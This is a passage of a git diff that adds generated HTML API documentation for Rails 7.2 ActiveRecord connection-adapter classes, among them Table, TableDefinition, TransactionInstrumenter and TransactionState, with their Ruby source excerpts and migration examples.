+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 74
+      def view_exists?(view_name)
+        query_values(data_source_sql(view_name, type: "VIEW"), "SCHEMA").any? if view_name.present?
+      rescue NotImplementedError
+        views.include?(view_name.to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + views() + +

+ + +
+

Returns an array of view names defined in the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 66
+      def views
+        query_values(data_source_sql(type: "VIEW"), "SCHEMA")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SqlTypeMetadata.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SqlTypeMetadata.html new file mode 100644 index 0000000000..3d3cbf3d60 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SqlTypeMetadata.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::ConnectionAdapters::SqlTypeMetadata +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Table.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Table.html new file mode 100644 index 0000000000..59cf849145 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Table.html @@ -0,0 +1,1215 @@ +--- +title: ActiveRecord::ConnectionAdapters::Table +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Adapters Table

+ +

Represents an SQL table in an abstract way for updating a table. Also see TableDefinition and connection.create_table

+ +

Available transformations are:

+ +
change_table :table do |t|
+  t.primary_key
+  t.column
+  t.index
+  t.rename_index
+  t.timestamps
+  t.change
+  t.change_default
+  t.change_null
+  t.rename
+  t.references
+  t.belongs_to
+  t.check_constraint
+  t.string
+  t.text
+  t.integer
+  t.bigint
+  t.float
+  t.decimal
+  t.numeric
+  t.datetime
+  t.timestamp
+  t.time
+  t.date
+  t.binary
+  t.blob
+  t.boolean
+  t.foreign_key
+  t.json
+  t.virtual
+  t.remove
+  t.remove_foreign_key
+  t.remove_references
+  t.remove_belongs_to
+  t.remove_index
+  t.remove_check_constraint
+  t.remove_timestamps
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + name
+ + + + +

Class Public methods

+ +
+

+ + new(table_name, base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 711
+      def initialize(table_name, base)
+        @name = table_name
+        @base = base
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + belongs_to(*args, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: references +
+ + + + +
+ +
+

+ + change(column_name, type, **options) + +

+ + +
+

Changes the column’s definition according to the new options.

+ +
t.change(:name, :string, limit: 80)
+t.change(:description, :text)
+
+ +

See TableDefinition#column for details of the options you can use.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 788
+      def change(column_name, type, **options)
+        raise_on_if_exist_options(options)
+        @base.change_column(name, column_name, type, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change_default(column_name, default_or_changes) + +

+ + +
+

Sets a new default value for a column.

+ +
t.change_default(:qualification, 'new')
+t.change_default(:authorized, 1)
+t.change_default(:status, from: nil, to: "draft")
+
+ +

See connection.change_column_default

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 800
+      def change_default(column_name, default_or_changes)
+        @base.change_column_default(name, column_name, default_or_changes)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change_null(column_name, null, default = nil) + +

+ + +
+

Sets or removes a NOT NULL constraint on a column.

+ +
t.change_null(:qualification, true)
+t.change_null(:qualification, false, 0)
+
+ +

See connection.change_column_null

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 810
+      def change_null(column_name, null, default = nil)
+        @base.change_column_null(name, column_name, null, default)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_constraint(*args, **options) + +

+ + +
+

Adds a check constraint.

+ +
t.check_constraint("price > 0", name: "price_check")
+
+ +

See connection.add_check_constraint

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 920
+      def check_constraint(*args, **options)
+        @base.add_check_constraint(name, *args, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_constraint_exists?(*args, **options) + +

+ + +
+

Checks if a check_constraint exists on a table.

+ +
unless t.check_constraint_exists?(name: "price_check")
+  t.check_constraint("price > 0", name: "price_check")
+end
+
+ +

See connection.check_constraint_exists?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 940
+      def check_constraint_exists?(*args, **options)
+        @base.check_constraint_exists?(name, *args, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + column(column_name, type, index: nil, **options) + +

+ + +
+

Adds a new column to the named table.

+ +
t.column(:name, :string)
+
+ +

See TableDefinition#column for details of the options you can use.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 721
+      def column(column_name, type, index: nil, **options)
+        raise_on_if_exist_options(options)
+        @base.add_column(name, column_name, type, **options)
+        if index
+          index_options = index.is_a?(Hash) ? index : {}
+          index(column_name, **index_options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + column_exists?(column_name, type = nil, **options) + +

+ + +
+

Checks to see if a column exists.

+ +
t.string(:name) unless t.column_exists?(:name, :string)
+
+ +

See connection.column_exists?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 735
+      def column_exists?(column_name, type = nil, **options)
+        @base.column_exists?(name, column_name, type, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_key(*args, **options) + +

+ + +
+

Adds a foreign key to the table using a supplied table name.

+ +
t.foreign_key(:authors)
+t.foreign_key(:authors, column: :author_id, primary_key: "id")
+
+ +

See connection.add_foreign_key

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 890
+      def foreign_key(*args, **options)
+        raise_on_if_exist_options(options)
+        @base.add_foreign_key(name, *args, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_key_exists?(*args, **options) + +

+ + +
+

Checks to see if a foreign key exists.

+ +
t.foreign_key(:authors) unless t.foreign_key_exists?(:authors)
+
+ +

See connection.foreign_key_exists?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 911
+      def foreign_key_exists?(*args, **options)
+        @base.foreign_key_exists?(name, *args, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index(column_name, **options) + +

+ + +
+

Adds a new index to the table. column_name can be a single Symbol, or an Array of Symbols.

+ +
t.index(:name)
+t.index([:branch_id, :party_id], unique: true)
+t.index([:branch_id, :party_id], unique: true, name: 'by_branch_party')
+
+ +

See connection.add_index for details of the options you can use.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 747
+      def index(column_name, **options)
+        raise_on_if_exist_options(options)
+        @base.add_index(name, column_name, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_exists?(column_name, **options) + +

+ + +
+

Checks to see if an index exists.

+ +
unless t.index_exists?(:branch_id)
+  t.index(:branch_id)
+end
+
+ +

See connection.index_exists?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 759
+      def index_exists?(column_name, **options)
+        @base.index_exists?(name, column_name, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + references(*args, **options) + +

+ + +
+

Adds a reference.

+ +
t.references(:user)
+t.belongs_to(:supplier, foreign_key: true)
+
+ +

See connection.add_reference for details of the options you can use.

+
+ + + +
+ Also aliased as: belongs_to +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 862
+      def references(*args, **options)
+        raise_on_if_exist_options(options)
+        args.each do |ref_name|
+          @base.add_reference(name, ref_name, **options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove(*column_names, **options) + +

+ + +
+

Removes the column(s) from the table definition.

+ +
t.remove(:qualification)
+t.remove(:qualification, :experience)
+
+ +

See connection.remove_columns

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 820
+      def remove(*column_names, **options)
+        raise_on_if_exist_options(options)
+        @base.remove_columns(name, *column_names, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_belongs_to(*args, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: remove_references +
+ + + + +
+ +
+

+ + remove_check_constraint(*args, **options) + +

+ + +
+

Removes the given check constraint from the table.

+ +
t.remove_check_constraint(name: "price_check")
+
+ +

See connection.remove_check_constraint

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 929
+      def remove_check_constraint(*args, **options)
+        @base.remove_check_constraint(name, *args, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_foreign_key(*args, **options) + +

+ + +
+

Removes the given foreign key from the table.

+ +
t.remove_foreign_key(:authors)
+t.remove_foreign_key(column: :author_id)
+
+ +

See connection.remove_foreign_key

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 901
+      def remove_foreign_key(*args, **options)
+        raise_on_if_exist_options(options)
+        @base.remove_foreign_key(name, *args, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_index(column_name = nil, **options) + +

+ + +
+

Removes the given index from the table.

+ +
t.remove_index(:branch_id)
+t.remove_index(column: [:branch_id, :party_id])
+t.remove_index(name: :by_branch_party)
+t.remove_index(:branch_id, name: :by_branch_party)
+
+ +

See connection.remove_index

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 833
+      def remove_index(column_name = nil, **options)
+        raise_on_if_exist_options(options)
+        @base.remove_index(name, column_name, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_references(*args, **options) + +

+ + +
+

Removes a reference. Optionally removes a type column.

+ +
t.remove_references(:user)
+t.remove_belongs_to(:supplier, polymorphic: true)
+
+ +

See connection.remove_reference

+
+ + + +
+ Also aliased as: remove_belongs_to +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 876
+      def remove_references(*args, **options)
+        raise_on_if_exist_options(options)
+        args.each do |ref_name|
+          @base.remove_reference(name, ref_name, **options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_timestamps(**options) + +

+ + +
+

Removes the timestamp columns (created_at and updated_at) from the table.

+ +
t.remove_timestamps
+
+ +

See connection.remove_timestamps

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 843
+      def remove_timestamps(**options)
+        @base.remove_timestamps(name, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename(column_name, new_column_name) + +

+ + +
+

Renames a column.

+ +
t.rename(:description, :name)
+
+ +

See connection.rename_column

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 852
+      def rename(column_name, new_column_name)
+        @base.rename_column(name, column_name, new_column_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_index(index_name, new_index_name) + +

+ + +
+

Renames the given index on the table.

+ +
t.rename_index(:user_id, :account_id)
+
+ +

See connection.rename_index

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 768
+      def rename_index(index_name, new_index_name)
+        @base.rename_index(name, index_name, new_index_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + timestamps(**options) + +

+ + +
+

Adds timestamps (created_at and updated_at) columns to the table.

+ +
t.timestamps(null: false)
+
+ +

See connection.add_timestamps

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 777
+      def timestamps(**options)
+        raise_on_if_exist_options(options)
+        @base.add_timestamps(name, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html new file mode 100644 index 0000000000..99a8c1c8a4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html @@ -0,0 +1,778 @@ +--- +title: ActiveRecord::ConnectionAdapters::TableDefinition +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Adapters Table Definition

+ +

Represents the schema of an SQL table in an abstract way. This class provides methods for manipulating the schema representation.

+ +

Inside migration files, the t object in create_table is actually of this type:

+ +
class SomeMigration < ActiveRecord::Migration[7.2]
+  def up
+    create_table :foo do |t|
+      puts t.class  # => "ActiveRecord::ConnectionAdapters::TableDefinition"
+    end
+  end
+
+  def down
+    ...
+  end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + as
+ [R] + check_constraints
+ [R] + comment
+ [R] + foreign_keys
+ [R] + if_not_exists
+ [R] + indexes
+ [R] + name
+ [R] + options
+ [R] + temporary
+ + + + +

Class Public methods

+ +
+

+ + new( conn, name, temporary: false, if_not_exists: false, options: nil, as: nil, comment: nil, ** ) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 368
+      def initialize(
+        conn,
+        name,
+        temporary: false,
+        if_not_exists: false,
+        options: nil,
+        as: nil,
+        comment: nil,
+        **
+      )
+        @conn = conn
+        @columns_hash = {}
+        @indexes = []
+        @foreign_keys = []
+        @primary_keys = nil
+        @check_constraints = []
+        @temporary = temporary
+        @if_not_exists = if_not_exists
+        @options = options
+        @as = as
+        @name = name
+        @comment = comment
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](name) + +

+ + +
+

Returns a ColumnDefinition for the column with name name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 418
+      def [](name)
+        @columns_hash[name.to_s]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + belongs_to(*args, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: references +
+ + + + +
+ +
+

+ + check_constraint(expression, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 522
+      def check_constraint(expression, **options)
+        check_constraints << new_check_constraint_definition(expression, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + column(name, type, index: nil, **options) + +

+ + +
+

Instantiates a new column for the table. See connection.add_column for available options.

+ +

Additional options are:

+
  • +

    :index - Create an index for the column. Can be either true or an options hash.

    +
+ +

This method returns self.

+ +

Examples

+ +
# Assuming +td+ is an instance of TableDefinition
+td.column(:granted, :boolean, index: true)
+
+ +

Short-hand examples

+ +

Instead of calling column directly, you can also work with the short-hand definitions for the default types. They use the type as the method name instead of as a parameter and allow for multiple columns to be defined in a single statement.

+ +

What can be written like this with the regular calls to column:

+ +
create_table :products do |t|
+  t.column :shop_id,     :integer
+  t.column :creator_id,  :integer
+  t.column :item_number, :string
+  t.column :name,        :string, default: "Untitled"
+  t.column :value,       :string, default: "Untitled"
+  t.column :created_at,  :datetime
+  t.column :updated_at,  :datetime
+end
+add_index :products, :item_number
+
+ +

can also be written as follows using the short-hand:

+ +
create_table :products do |t|
+  t.integer :shop_id, :creator_id
+  t.string  :item_number, index: true
+  t.string  :name, :value, default: "Untitled"
+  t.timestamps null: false
+end
+
+ +

There’s a short-hand method for each of the type values declared at the top. And then there’s TableDefinition#timestamps that’ll add created_at and updated_at as datetimes.

+ +

TableDefinition#references will add an appropriately-named _id column, plus a corresponding _type column if the :polymorphic option is supplied. If :polymorphic is a hash of options, these will be used when creating the _type column. The :index option will also create an index, similar to calling add_index. So what can be written like this:

+ +
create_table :taggings do |t|
+  t.integer :tag_id, :tagger_id, :taggable_id
+  t.string  :tagger_type
+  t.string  :taggable_type, default: 'Photo'
+end
+add_index :taggings, :tag_id, name: 'index_taggings_on_tag_id'
+add_index :taggings, [:tagger_id, :tagger_type]
+
+ +

Can also be written as follows using references:

+ +
create_table :taggings do |t|
+  t.references :tag, index: { name: 'index_taggings_on_tag_id' }
+  t.references :tagger, polymorphic: true
+  t.references :taggable, polymorphic: { default: 'Photo' }, index: false
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 489
+      def column(name, type, index: nil, **options)
+        name = name.to_s
+        type = type.to_sym if type
+
+        raise_on_duplicate_column(name)
+        @columns_hash[name] = new_column_definition(name, type, **options)
+
+        if index
+          index_options = index.is_a?(Hash) ? index : {}
+          index(name, **index_options)
+        end
+
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns() + +

+ + +
+

Returns an array of ColumnDefinition objects for the columns of the table.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 415
+      def columns; @columns_hash.values; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_key(to_table, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 518
+      def foreign_key(to_table, **options)
+        foreign_keys << new_foreign_key_definition(to_table, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index(column_name, **options) + +

+ + +
+

Adds index options to the indexes hash, keyed by column name This is primarily used to track indexes that need to be created after the table

+ +
index(:account_id, name: 'index_projects_on_account_id')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 514
+      def index(column_name, **options)
+        indexes << [column_name, options]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + references(*args, **options) + +

+ + +
+

Adds a reference.

+ +
t.references(:user)
+t.belongs_to(:supplier, foreign_key: true)
+t.belongs_to(:supplier, foreign_key: true, type: :integer)
+
+ +

See connection.add_reference for details of the options you can use.

+
+ + + +
+ Also aliased as: belongs_to +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 548
+      def references(*args, **options)
+        args.each do |ref_name|
+          ReferenceDefinition.new(ref_name, **options).add_to(self)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_column(name) + +

+ + +
+

remove the column name from the table.

+ +
remove_column(:account_id)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 506
+      def remove_column(name)
+        @columns_hash.delete name.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_primary_key(table_name, id, primary_key, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 392
+      def set_primary_key(table_name, id, primary_key, **options)
+        if id && !as
+          pk = primary_key || Base.get_primary_key(table_name.to_s.singularize)
+
+          if id.is_a?(Hash)
+            options.merge!(id.except(:type))
+            id = id.fetch(:type, :primary_key)
+          end
+
+          if pk.is_a?(Array)
+            primary_keys(pk)
+          else
+            primary_key(pk, id, **options)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + timestamps(**options) + +

+ + +
+

Appends :datetime columns :created_at and :updated_at to the table. See connection.add_timestamps

+ +
t.timestamps null: false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 530
+      def timestamps(**options)
+        options[:null] = false if options[:null].nil?
+
+        if !options.key?(:precision) && @conn.supports_datetime_with_precision?
+          options[:precision] = 6
+        end
+
+        column(:created_at, :datetime, **options)
+        column(:updated_at, :datetime, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter.html new file mode 100644 index 0000000000..0405c566f3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter.html @@ -0,0 +1,217 @@ +--- +title: ActiveRecord::ConnectionAdapters::TransactionInstrumenter +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(payload = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 80
+      def initialize(payload = {})
+        @handle = nil
+        @started = false
+        @payload = nil
+        @base_payload = payload
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + finish(outcome) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 101
+      def finish(outcome)
+        raise InstrumentationNotStartedError.new("Called finish on a transaction that hasn't started") unless @started
+        @started = false
+
+        @payload[:outcome] = outcome
+        @handle.finish
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 90
+      def start
+        raise InstrumentationAlreadyStartedError.new("Called start on an already started transaction") if @started
+        @started = true
+
+        ActiveSupport::Notifications.instrument("start_transaction.active_record", @base_payload)
+
+        @payload = @base_payload.dup # We dup because the payload for a given event is mutated later to add the outcome.
+        @handle = ActiveSupport::Notifications.instrumenter.build_handle("transaction.active_record", @payload)
+        @handle.start
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter/InstrumentationAlreadyStartedError.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter/InstrumentationAlreadyStartedError.html new file mode 100644 index 0000000000..0de6a0a423 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter/InstrumentationAlreadyStartedError.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::ConnectionAdapters::TransactionInstrumenter::InstrumentationAlreadyStartedError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter/InstrumentationNotStartedError.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter/InstrumentationNotStartedError.html new file mode 100644 index 0000000000..abe24534db --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionInstrumenter/InstrumentationNotStartedError.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::ConnectionAdapters::TransactionInstrumenter::InstrumentationNotStartedError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionState.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionState.html new file mode 100644 index 0000000000..3d8bd9e98c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TransactionState.html @@ -0,0 +1,706 @@ +--- +title: ActiveRecord::ConnectionAdapters::TransactionState +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Adapters Transaction State

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(state = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 9
+      def initialize(state = nil)
+        @state = state
+        @children = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_child(state) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 14
+      def add_child(state)
+        @children ||= []
+        @children << state
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + commit!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 66
+      def commit!
+        @state = :committed
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + committed?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 23
+      def committed?
+        @state == :committed || @state == :fully_committed
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + completed?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 47
+      def completed?
+        committed? || rolledback?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + finalized?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 19
+      def finalized?
+        @state
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_commit!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 70
+      def full_commit!
+        @state = :fully_committed
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_rollback!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 56
+      def full_rollback!
+        @children&.each { |c| c.rollback! }
+        @state = :fully_rolledback
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fully_committed?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 27
+      def fully_committed?
+        @state == :fully_committed
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fully_completed?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 43
+      def fully_completed?
+        completed?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fully_rolledback?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 35
+      def fully_rolledback?
+        @state == :fully_rolledback
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invalidate!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 61
+      def invalidate!
+        @children&.each { |c| c.invalidate! }
+        @state = :invalidated
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invalidated?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 39
+      def invalidated?
+        @state == :invalidated
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + nullify!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 74
+      def nullify!
+        @state = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rollback!() + +

